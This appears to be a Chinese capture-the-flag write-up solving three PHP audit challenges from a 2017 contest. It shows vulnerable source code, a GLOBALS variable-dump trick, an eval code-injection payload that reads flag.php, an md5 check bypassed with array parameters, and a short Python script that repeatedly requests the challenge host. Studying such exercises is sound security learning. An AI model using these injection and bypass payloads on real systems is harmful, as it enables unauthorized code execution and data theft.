“百度杯”CTF比赛 2017 二月场 爆破1-3
1
题目内容:flag就在某六位变量中。
题目给出源码
<?php
include "flag.php";
$a = @$_REQUEST['hello']; //hello为传参点
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);"); //输出参数内容
show_source(__FILE__);
?>
因为flag就在某六位变量中
且存在 $$a
考虑使用超全局变量GLOBALS
操作:url/?hello=GLOBALS
结果输出的变量包含flag加粗样式
2
题目内容:
flag不在变量中。
依然耿直的给出了源码(花花绿绿的):
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
分析:既然flag不在变量中,输出变量也没用
但是flag.php被包含,可以在闭合var_dump后继续传函数给eval
直接读取flag.php的内容
//闭合操作类似与sql注入
操作url?hello=1); print_r(file("./flag.php")
结果直接打印出flag.php
3
题目内容:
这个真的是爆破。
给出源代码,三道题都是审计题:
一下是给出注释的代码段:
<?php
error_reporting(0);
session_start(); //开始会话
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
} //初始化,注意session[whoami]=ea
if($_SESSION['time']+120<time()){
session_destroy(); //撤销会话
}
$value = $_REQUEST['value']; //传参点
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; //str_rands=xy(随机)
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
//如果为真,nums+1,而当nums>=10,将输出flag
//所以任务就是保证10次为真,可以手动也可以用脚本刷
//现在分析如何为真
//substr(md5($value),5,4)==0 用数组避开md5的检测,强制转换后必然为0,该条件永真
//$value[0].$value[1]也提示了我们用数组
//$_SESSION['whoami']==($value[0].$value[1]) //只要我们输入的与$_SESSION['whoami']相同即可
//$_SESSION['whoami'] = $str_rands; 每次$_SESSION['whoami']将会被str_rands取代,并且输出,所以每次传出的值将为下一次的输入/第一次输入为ea
//echo $str_rands;
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
手动只要10次传参即可,传参方式同实验1
以下是py脚本,会产生多个结果,看最后一个就好
import requests
url='http://f02b653956cf40c9a3fd8fa284044a28bbb034417bfd41de.changame.ichunqiu.com/?value[]='
a=requests.session()
b=a.get(url+'ea')
for i in range(11):
c=a.get(url+b.text[:2])
b=c
print(b.text)
pass